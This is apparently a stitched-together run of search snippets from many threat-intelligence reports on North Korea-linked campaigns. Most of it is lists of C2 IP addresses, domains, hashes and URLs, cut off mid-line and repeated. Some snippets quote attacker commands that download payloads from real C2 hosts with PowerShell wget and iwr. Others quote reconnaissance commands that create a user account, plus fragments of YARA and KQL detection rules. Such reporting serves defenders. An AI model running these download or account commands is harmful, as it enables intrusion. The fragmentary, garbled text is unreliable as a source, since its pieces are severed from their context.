Acquire Infrastructure: Domain [ T1583.001 ]). The domain www.kupaywallet.com resolved to IP address 104.200.67.96 from March 20, 2020, to January 16, 2021.…","…as the administrative or technical contact for the kupaywallet.com domain. The domain is registered with NameCheap at the IP address 104.200.67.96 with ASN 8100. In addition to the site kupaywallet.com, a Twitter account @kupayservice is associated with the company.…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫…","…[그림 5] C&C 연결 코드 C&C IP 주소(국가) www.pakteb.com/include/left.php 104.221.134.28(미국) www.nuokejs.com/contactus/about.php 104.195.1.39(미국) www.qdbazaar.com/include/footer.php 104.31.74.89(미국 )…","…※ 오퍼레이션 스타크루저 (Operation Starcruiser) C&C - 10vs.net/ include/left.php (104.224.219.109 / US) - 168va.com/include/data/left.php ( 104.222 .238.198 / US) - 1996hengyou.com/include/dialog/left.php (160.124.191.80 / ZA)…","…Domains and IPs 172.93.184.62 MATA C2 23.227.199.69 MATA C2 104.232.71.7 MATA C2 mnmski.cafe24.com Staging endpoint for the ransomware (personal web space hosted at a legit web service…","…r.vm macOS MATA 81f8f0526740b55fe484c42126cd8396 TinkaOTP.dmg f05437d510287448325bac98a1378de1 SubMenu.nib C2 address 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:4…","…S/2024/215 567 / 615 24-02094 103.163.220.242 103.163.220.248 103.163.220.38 103.163.220.61 103.235.17.57 104.234.140.132 108.181.50.58 114.42.193.83 117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13…","…N/A karachi-tan.com 62.133.58.60 (US) N/A N/A attachment-download.net 188.241.39.10 (UK) N/A N/A naver.attach-download.com 104.243.41.186 (US) 782297f262156a15 65e 5efe860b4c715s@mail.ru daum.attach-download.com 104.243.41.186 (US) 782297f262156a15 65e 5efe860b4c715s@…","…작업을 수행 XOR 구성된 VBS 스크립트 xt9644nb2.vbs 내용 최종적으로 접속하는 사이트 http://ebpp.airport.kr/mail.do IP 트래픽 104.18.38.233:80 (TCP) 104.244.42.65:443 (TCP) 104.244.42.65:80 (TCP) 104.85.1.163:80 (TCP) 104.86.110.106:80 (TCP) 116.84.245(.0100:80 (TCP) 119.205.211(.077:443…","…Networks 2024-07-15 ScoringMathTea C&C server: https://www.scgestor.com.br/wp-content/themes/vantage/inc/template-headers.php 104.247.162.67 galaterrace.com GNET Internet Telekomunikasyon A.S.…","…104.221.134.28(미국) www.nuokejs.com/contactus/about.php 104.195.1.39(미국) www.qdbazaar.com/include/footer.php 104.31.74.89(미국 ) [표 2] 악성코드에서 사용하는 C&C 정보 C&C에서 명령을 받은 경우, 공격자가 전송한 명령어에 따라 악성 기능이 수행된다.…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로…","…URL http://104.168.145.83:993/ http://104.36.229.179/ http://104.36.229.179/am.dll http://38.110.1.69/ http://38.110.1.69:993/ Gain access to related IOCs and detailed…","…[그림 1] GitHub Repository 메인 화면 [1] https://asec.ahnlab.com/ko/50275/ MD5 daa2395113772adb0fab0cf0b2028ed2 IP 106.14.166.53 Tags: FlowerPower GitHub Quasar QuasarRAT xRAT…","…- enindi25-142.godo.co.kr ( 106.249.25.142 ) 그리고 2019년 03월 04일 외교통일위원회를 사칭해 수행된 피싱에서도 이와 동일한 데이터가 사용됩니다.…","…타겟으로 한 코인마이너 설치 (WatchDog 그룹) 악성코드 분석 보고서 MD5 1aeb95215a633400d90ad8cbca9bc300 fe1bb6811f5c808414c4a357031c2718 URL http://106.250.168.50/rd.exe http://106.250.168.50/todesk.rar http://119.201.213.146/mscorsvw2.exe http://183.111.148.147/mscorsvw2.exe http://58.180.56.28/m…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석…","…URL http://104.168.145.83:993/ http://107.148.71.88:993/ http://159.100.6.137:993/ http://38.110.1.69:993/ http://45.114.129.138:33890/ Gain access to related IOCs and…","…Information as of June 2020: IP Address: 107.154.160.132 Registrar: PublicDomainRegistry Created: June 20, 2020 Expires: June 20, 2022…","…Indicators of Compromise Command and Control Servers 107.172.195.20 192.3.12.154 46.21.147.161 Tags Malware | Endpoints | Cyber Crime |…","…MATA 81f8f0526740b55fe484c42126cd8396 TinkaOTP.dmg f05437d510287448325bac98a1378de1 SubMenu.nib C2 address 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443…","…107.172.197.175 United States ASN36352 ColoCrossing 172.93.201.219 United States ASN20278 Nexeon Technologies, Inc. 64.188.19.117 United States ASN8100…","…xport.com scaurri.com secozco.com sharedriver.pw sharedriver.us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this:…","…141.136.43.165 47583 AS-HOSTINGER Hostinger International Limited NameSilo, LLC 21 teamslivex.com 2026-03-31 23:37:31 107.180.119.82 26496 AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC NameSilo, LLC 22 teamslivos.com 2026-03-31 18:06:49 198.54.115.40 22612…","…domain resolved to the following Internet Protocol (IP) addresses from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The…","…conclude the post. A comprehensive table containing all discovered IPs and their relevant details is available at the end of this post. 107.189.16.65 We'll begin with the older of the two certificates, identified by its SHA-256 fingerprint…","…159.100.250.231 BUFFETLINE SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 107.6.12.135 210.202.40.35 MITRE ATT&CK Lazarus Group – G0032 Commonly Used Port – T1043 Connection Proxy – T1090 Credential Dumping – T1003…","…MAR-10271944-3.v1.stix . Submitted Files (1) 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 (smss.exe) IPs (2) 107.6.12.135 210.202.40.35 Findings 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 Tags trojan Details Name…","…sample: Victim ID Random 24-bit number Internal version number 3.1.1 (0x030101) Timeout 20 minutes C2 addresses 108.170.31.81:443 192.210.239.122:443 111.90.146.105:443 Disk path or URL of plugin (up to 15) to be loaded on start Not used in this malware…","…versions of TraderTraitor, there is no mechanism to decrypt a payload. alticgo.com Information as of August 2020: IP Address: 108.170.55.202 Registrar: NetEarth One Inc. Created: August 8, 2020 Expires: August 8, 2021…","…IPs likely associated with Lazarus Group. Copy 104.168.203.161 104.168.165.203 104.168.165.173 108.174.194.10 104.168.137.21 104.168.165.165 104.168.203.159 104.168.157.45 Conclusion The Validin platform facilitates threat research, threat…","…This mimics the wallet updater connected to the C2 addresses: wfcwallet.com (resolved ip: 108.174.195.134) www.chainfun365.com (resolved ip: 23.254.217.53) After that, it carries out the malware operator’s commands in order to install the…","…IP Addresses IP Addresses Copy 104.168.143.111 23.254.167.21 144.172.116.9 108.174.198.11 45.61.157.248 45.61.129.29 144.172.114.220 Table of Contents Key Points Background…","…104.18.14.101:80(TCP) 104.18.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.…","…104.18.14.101:80(TCP) 104.18.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.…","…104.18.14.101:80(TCP) 104.18.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.9…","…104.18.14.101:80(TCP) 104.18.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31…","….18.14.101:80(TCP) 104.18.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69…","…8.15.101:80(TCP) 108.177.119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.…","….119.102:443(TCP) 108.177.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.9…","…7.119.95:443(TCP) 108.177.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.19…","…Looking up all A-records of both domains we can uncover new IPs 23.83.133.196 and 108.177.235.82 Press enter or click to view image in full size https://explore.silentpush.com/enrichment/domain/naveeocorp.xyz Press enter or…","…7.126.132:443(TCP) 108.177.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.19…","….io/wp-content/plugins/download-plugin/plugins.php stmwa.de/work/config/data.php csmss.org/admin/uploads/award/award28.php 167.172.113.157/ 108.179.214.134/ 174.138.30.233/ absolutemedia.net.au/ absolutemedia.net.au/testing/wp-content/intelmanagertools.exe absolutemedia.net.au/testing/wp-includ…","…하기 아이피들은 실제 공격에 활용됐던 중요한 지표이지만, 시계열 시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난 4월과 9월에 발견된 첨부파일…","…하기 아이피들은 실제 공격에 활용됐던 중요한 지표이지만, 시계열 시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난 4월과 9월에 발견된 첨부파일 링크 주소를 비교해 보면,…","…하기 아이피들은 실제 공격에 활용됐던 중요한 지표이지만, 시계열 시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난 4월과 9월에 발견된 첨부파일 링크 주소를 비교해 보면, 도메인 주소는 변경됐지만 통신…","…활용됐던 중요한 지표이지만, 시계열 시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난 4월과 9월에 발견된 첨부파일 링크 주소를 비교해 보면, 도메인 주소는 변경됐지만 통신 인자값이 동일한 패턴인 점을 알 수…","…시점상 휘발성 특성도 고려해야 합니다. 108.181.50.58 108.181.52.169 108.181.52.229 108.181.52.231 108.181.52.234 108.181.52.235 108.181.52.236 N/A [표 3] 2023년 식별된 아이피 대역들 ○ 한편, 지난 4월과 9월에 발견된 첨부파일 링크 주소를 비교해 보면, 도메인 주소는 변경됐지만 통신 인자값이 동일한 패턴인 점을 알 수 있습니다.…","…2024-08-11 ScoringMathTea C&C server: https://pierregems.com/wp-content/themes/woodmart/inc/configs/js-hand.php 108.181.92.71 www.scgestor.com.br Psychz Networks 2024-07-15 ScoringMathTea C&C server:…","…Plink e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe Networks IOCs 146.4.21.94 109.248.150.13 108.61.186.55:443 http[://]146.4.21.94/tmp/tmp/comp.dat http[://]146.4.21.94/tmp/tmp/log.php http[://]146.4.21.94/tmp/tmp/logs.php http[://]ec2-15-20…","…e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 146.4.21.94 109.248.150.13 108.61.186.55:443 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php http://146.4.21.94/tmp/tmp/logs.php…","…Amadey 木马在主机建立持久化机制，并从 C2 服务器（http://108.62.118.185/cc/index.php）获取下载链接继续下一步恶意行为。 图17.…","…efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060 Amadey C2s: http://186.122.150.107/cc/index.php http://108.62.118.185/cc/index.php Compromised Sites: https://fd-com.fr/wp-content/themes/consultingservices/upload/tmp.txt…","…hosting the domain to uncover a number of domains hosted on the same IP. Figure 3: sslport.work to IP to Domains to IP to Domains IP: 108.62.141.33…","…악성코드 동작 실행 코드 iwr -Uri \"http://109.107.157.107/kaptsole_x.rar\" -OutFile \"$env:TEMP\\ka ptsole_x.rar\";iwr -Uri \"http://109.107.157.107/UnRAR.exe\" -OutFile \"$e nv:TEMP\\UnRAR.exe\";…","…109.234.36.135 이 글 공유하기 Facebook LinkedIn Email…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co…","…actor abuses WordPress-based web sites as staging infrastructure • They also use multiple VPS and hosting services as C2 servers 109.234.36.135 Servers Tech Fzco This attack campaign © 2026 LAC Co., Ltd. 06 Countermeasures of Threat 37 © 2026 LAC Co.,…","…Plink e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe Networks IOCs 146.4.21.94 109.248.150.13 108.61.186.55:443 http[://]146.4.21.94/tmp/tmp/comp.dat http[://]146.4.21.94/tmp/tmp/log.php http[://]146.4.21.94/tmp/tmp/logs.php htt…","…795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8…","…IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1…","…자산 관리 프로그램을 이용하여 악성코드 다운로드 파워쉘 명령 : wget http://109.248.150.147:8585/load.png -outfile C:\\Users\\public\\credis.exe Andariel 그룹은 파워쉘 외에도 mshta.exe 프로세스를 이용해 악성코드를 다운로드하기도 하였다.…","…Malware downloaded using an asset management program PowerShell command : wget http://109.248.150.147:8585/load.png -outfile C:\\Users\\public\\credis.exe Besides PowerShell, the Andariel group also used the mshta.exe process to download…","…Use this query to detect associated network IOCs: let remoteip = dynamic([\"84.38.134.56\",\"45.155.37.101\",\"213.139.205.151\",\"109.248.150.147\",\"162.19.71.175\",\"147.78.149.201\"]); let remoteurl =…","…/ target-list hosting / launch MONITOR & HUNT 4 147.78.168.57 Staging / target-list hosting / launch MONITOR & HUNT 5 109.56.219.150 Staging / target-list hosting / launch MONITOR & HUNT 6 158.173.75.178 Staging / target-list hosting / launch MONITOR & HUNT…","…= “92.118.112.100” ascii wide fullword $ip8 = “85.11.167.243” ascii wide fullword $ip9 = “45.198.224.169” ascii wide fullword $ip10 = “109.71.252.97” ascii wide fullword condition: any of them } rule PHP2Shell_Request_Shape_In_Capture { meta: description = “PHP2Shell scanner/PoC…","…이렇게 수집한 정보들은 추후 측면 이동 공격에 사용될 수 있으며, 성공할 경우 공격자는 도메인 내의 시스템들을 장악할 수 있다. cmd.exe /c “ping 11.11.11.1” cmd.exe /c “ipconfig /all” cmd.exe /c “query user” cmd.exe “net group “domain admins” /domain” net user _smuser white1234!@#$ cmd.exe…","…Indicator Type Role 87.236.177.9:3000 IP:Port Primary C2 (env08539) codeviewer-three.vercel.app Domain Vercel C2 (31df390f0305) 11.34.242.92 IP NEW C2 (from deobfuscation) 147.124.212.125 IP Active socket C2 66.235.168.238 IP Active socket C2 45.59.163.55 IP Active…","…speed-stream.com kyungrok.com 118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독…","…- naban.co.kr ( 110.4.107.244) - jmable.mireene.com ( 110.4.107.244) - itoassn.mireene.co.kr ( 110.4.107.244) - jmdesign.mireene.com ( 110.4.107.244)…","…Compromised domain Serve r colasprint.com 50.192.28.29 speed-stream.com kyungrok.com 118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80…","…in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below) 14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 ELF ARM file likely…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.1…","…111.207.78.204 Ports 443 TCP Whois inetnum: 111.192.0.0 - 111.207.255.255 netname: UNICOM-BJ descr: China Unicom Beijing province network descr: China Unicom country: CN admin-c: CH1302-AP tech-c: SY21-AP remarks:…","…- 80.91.118.45:443 (AL) - 181.119.19.56:443 (AR) - 111.207.78.204:443 (CN) - 184.107.209.2:443 (CA) [그림 9] 'leo.exe' 악성 프로그램이 통신하는 서버 IP 주소 화면 그런데 여기서 통신하는 서버 중 캐나다 (184.107.209.2)…","…(laxhost.dll) e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e4698…","…[그림 6] 다운로드되는 CAB 파일과 배치파일 명령어 화면 'spoolsve.exe' 파일은 말레이시아의 특정 호스트(111.90.138.41)로 접속을 시도해 명령을 대기하는데, 해당 서버의 아이피 주소는 'winniet.ini' 파일에 인코딩되어 숨겨져 있습니다.…","…DarkHotel infrastructure Also, one of the destinations in this case, the IP address 111.90.144.164, which was associated with nano.toyota-rnd.com domain, was managed by a Malaysian VPS operator often used by DarkHotel as its…","…number Internal version number 3.1.1 (0x030101) Timeout 20 minutes C2 addresses 108.170.31.81:443 192.210.239.122:443 111.90.146.105:443 Disk path or URL of plugin (up to 15) to be loaded on start Not used in this malware The orchestrator can load 15 plugins…","…SubMenu.nib C2 address 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443…","…ge.secuwizvpn.r-e.kr load.rwbcode.com rwbcode.com 174.138.186.157:5511 174.138.186.157:7788 174.138.186.157:9558 213.145.86.223:9005 111.92.189.34:21 142.11.248.98 162.220.11.202 ydcxcm.pklzd.com quemr.mailhubsec.com link24.kr www.link24.kr vvopen.pklzd.com quemr.mailhubsec.com…","…111.92.246.145 DNS를 사용하지 않고 IP로 직접 TCP 연결->통신은 HTTPS나 일반적인 웹 프로토콜이 아니라 System.Net.Sockets.TcpClient를 사용 커스텀 TCP 프로토콜 C2 인증 방식은 연결 후 먼저 다음 문자열을 서버에…","…scripts retrieved and executed on demand. More specifically, VelvetCake initiates communication by establishing a raw TCP connection to 111.92.246.145:12345 and authenticates using the command PASSWORD MySecurePass123 .…","…\"update2.ps1\" connects to TCP port 12345 on the hardcoded IP address \" 111.92.246.145 \" in Japan.…","…these eight IP addresses and found these: IP Domain Active 221.149.223.209 korea.kr.ncsc.go.kr June 2011—August 2011 112.169.154.65 cyber.ncsc.go.kr June 2011—August 2011 221.149.32.213 drill12.ncsc.go.kr July 2012—August 2012 220.85.160.3…","…있습니다. [그림 3] 발신지 아이피 정보 ○ 해당 주소는 한국통신(KT)에 할당된 아이피 대역으로 최근까지 동일한 아이피의 공격사례 조회결과는 나오지 않았습니다. ○ 다만, 2021년에서 2022년 사이 이번 발신지 아이피와 흡사한 '112.175.185.19' 아이피 주소가 사용된 피싱 공격 이력 다수가 확인됩니다. ○ 당시 공격들은 일명 '김수키(Kimsuky)' 피싱 캠페인으로 분류돼 있지만, 해당 유사성만으로 이번 공격과의 연관성을 단정할 수는 없습니다. Date…","…이메일은 '112.175.185.59' 주소에서 발송된 것으로 기록돼 있습니다. [그림 3] 발신지 아이피 정보 ○ 해당 주소는 한국통신(KT)에 할당된 아이피 대역으로 최근까지 동일한 아이피의 공격사례 조회결과는 나오지 않았습니다. ○ 다만, 2021년에서 2022년 사이…","…colasprint.com 50.192.28.29 speed-stream.com kyungrok.com 118.217.183.180 roit.co.kr 110.45.138.98 warevalley.com 112.175.226.221 ktri.or.kr 110.10.189.166 ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk…","…Domain IP Country (Name Server) cicctv.co.kr 112.175.50.142 KR (ns.gethompy.com) dh00386.com 183.111.161.156 KR (ns.gethompy.com) jinsungm.com 112.175.85.243 KR (ns.gethompy.com)…","…Server) cicctv.co.kr 112.175.50.142 KR (ns.gethompy.com) dh00386.com 183.111.161.156 KR (ns.gethompy.com) jinsungm.com 112.175.85.243 KR (ns.gethompy.com) [표 2] 피싱 유도 서버 도메인 정보 ○ 피싱 유도 페이지 하단에 존재하는 [보안메일보기] 링크 부분을 클릭하게 되면 수신자가 사용하는 이메일 서비스에 따라 모방된 피싱화면이 나타나게…","…IP 112.175.92.56 164.125.51.42 211.218.150.44 49.247.9.177 59.8.194.228 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60…","…(None) cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f (UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.2…","…is associated with the IP address. 112.175.92.57 Tags command-and-control Ports 443 TCP Whois inetnum: 112.160.0.0 - 112.191.255.255 netname: KORNET descr: Korea Telecom admin-c: IM667-AP tech-c: IM667-AP country: KR status: ALLOCATED PORTABLE mnt-by:…","…campaign2-nid.com 27.102.130.92 (KR-DAOU) 172.67.168.65 104.21.26.97 kyf-dream.com 124.5.163.111 (KR-DLIVE) 112.214.236.86 (KR-DLIVE) 172.67.187.104 104.21.48.172 panmuntour.com 112.214.236.86 (KR-DLIVE) 172.67.219.166 104.21.86.123 jongnno.com…","…puac.net 112.214.236.86 (KR-DLIVE) 49.1.234.75 (KR-DLIVE) 172.67.179.222 104.21.43.135 yecchong.com 112.214.237.131 (KR-DLIVE) 172.67.137.64 104.21.86.221 seouul.com 49.1.234.75 (KR-DLIVE) 172.67.163.138 104.21.42.163 100000recipe.com…","…Code Analysis of \"rTom.exe_r\" In contrast, \"fox.png\", \"leopard.png\", \"lion.png\", and \"wolf.png\" were found to use the C2 address \"112.216.9.171\", an IP address located in South Korea.…","…[그림 2-11] rTom.exe_r 코드 분석 화면 반면, fox.png, leopard.png, lion.png, wolf.png는 C2 주소가 112.216.9.171(한국 소재 IP)로 변경된 것으로 확인되었습니다.…","…. Submitted Files (1) aab2868a6ebc6bdee5bd12104191db9fc1950b30bcf96eab99801624651e77b6 (D2DE01858417FA3B580B3A95857847...) IPs (1) 112.217.108.138 Findings aab2868a6ebc6bdee5bd12104191db9fc1950b30bcf96eab99801624651e77b6 Tags rootkittrojan Details Name…","…destination port and we can see that it is 443 in this case. The rest of the four bytes are: 0x70 0xd9 0x6C 0x8A, which translates to 112.217.108.138 (hex to decimal).…","…) return b The decoded configuration values and their purposes follow: Value Purpose 4 Proxy Count 113.10.170.98 IPv4 443 Port Number 98.101.211.250 IPv4 443 Port Number 173.0.138.250 IPv4 443 Port Number 192.168.1.49…","…SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59…","…(None) cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f (UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.21…","…is associated with the IP address. 113.114.117.122 Tags command-and-control Ports 23397 TCP Whois inetnum: 113.112.0.0 - 113.119.255.255 netname: CHINANET-GD descr: CHINANET Guangdong province network descr: Data Communication Division descr: China Telecom country:…","…172.86.91.195 195.91.86.172.static.cloudzy.com 45.61.163.100 100.163.61.45.static.cloudzy.com 45.61.163.113 113.163.61.45.static.cloudzy.com 45.61.163.43 43.163.61.45.static.cloudzy.com 45.61.129.29 – 153.75.91.159 – Telegram Exfiltration…","…114.108.128.157 inodea.com LG DACOM Corporation 2025‑07‑03 Compromised South Korean site used to host Android BirdCall configuration.…","…45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","….187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.…","…ilhak.co.kr 1.251.44.118 polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net 51.79.44.111…","…내용으로 위장한 피싱 이메일 화면 당시 공격자는 발신자를 실제 다음(Daum) 보안센터처럼 위장하기 위해 다른 서버에서 공격을 수행한 흔적이 발견되었는데, '오퍼레이션 블루 에스티메이트'에서 사용된 C2 서버 'antichrist.or.kr (114.207.244.99) 주소가 동일하게 목격됩니다.…","…DOMAIN antichrist.or.kr IP 114.207.244.99 NewAct.dat MD5 e54b370d96ca0e2ecc083c2d42f05210 SHA-1 03c35e4c6a641373db665e7d58cea421188fbc82 SHA-256 1050935f6acee3afda3876478718632b96…","…( http://www.israeldefense.co.il/he/comment/112488 with link to lzruziniu.com) It appears that during the time of this post, the C&C (114.215.107.218) was also hosting another binary from Lazarus.…","…ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203 Related APK Samples In addition to ELF ARM files the HTTP Server can also serve…","…addresses 110.45.145.103 114.215.130.173 